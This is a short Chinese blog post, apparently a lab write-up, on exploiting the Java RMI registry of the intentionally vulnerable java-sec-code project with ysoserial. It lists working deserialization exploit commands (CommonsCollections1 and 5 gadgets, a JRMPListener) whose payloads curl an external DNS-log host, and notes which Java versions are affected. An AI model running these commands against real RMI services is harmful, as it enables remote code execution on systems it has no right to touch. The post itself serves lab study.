java-sec-code中rmi

java-sec-code中rmi
暂时没有搞懂原理,这里只说明利用方法
java-sec-code
作者给出的是使用ysoserial进行利用
测试环境搭建
docker环境下,1099端口默认不开启,这里使用idea运行org.joychou.RMI.Server即可
个人电脑java环境分为1.8.381 1.8.043 1.8.121
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
测试Java 1.8.121上下版本不同利用方式,使用https://dig.pm/作为dnslog平台

java1.8.043环境
poc

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit target_ip 1099  CommonsCollections1 "curl xxxx.ipv6.1433.eu.org/aaa"

在这里插入图片描述
dns平台有回显

java1.8.121

利用方式

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl d84d55bd53.ipv6.1433.eu.org/rmi'
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit2 192.168.2.3 1099 192.168.2.5 12345

当然了,这两个命令都运行ysoserial-0.0.6-SNAPSHOT-all.jar是没有问题的,区别只在于ysoserial-0.0.6-SNAPSHOT-all.jar是添加了RMIRegistryExploit2,重新打包的,而ysoserial-all.jarysoserial作者提供的原生jar包
在这里插入图片描述
java 1.8.381 利用不了 以目前的java版本来说,本人并没有找到相应的利用方法,可能只是图一乐呵

题外话

https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI
https://github.com/frohoff/ysoserial

编译ysoserial可能会失败,建议在vps上面打包,使用mvn clean package -DskipTests命令进行打包,
打包失败报错,如果显示是javax.interceptor-api:3.1失败的话,将pom.xml里面的version修改为1.2.2即可

<dependency>
			<groupId>javax.interceptor</groupId>
			<artifactId>javax.interceptor-api</artifactId>
			<version>1.2.2</version>
</dependency>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值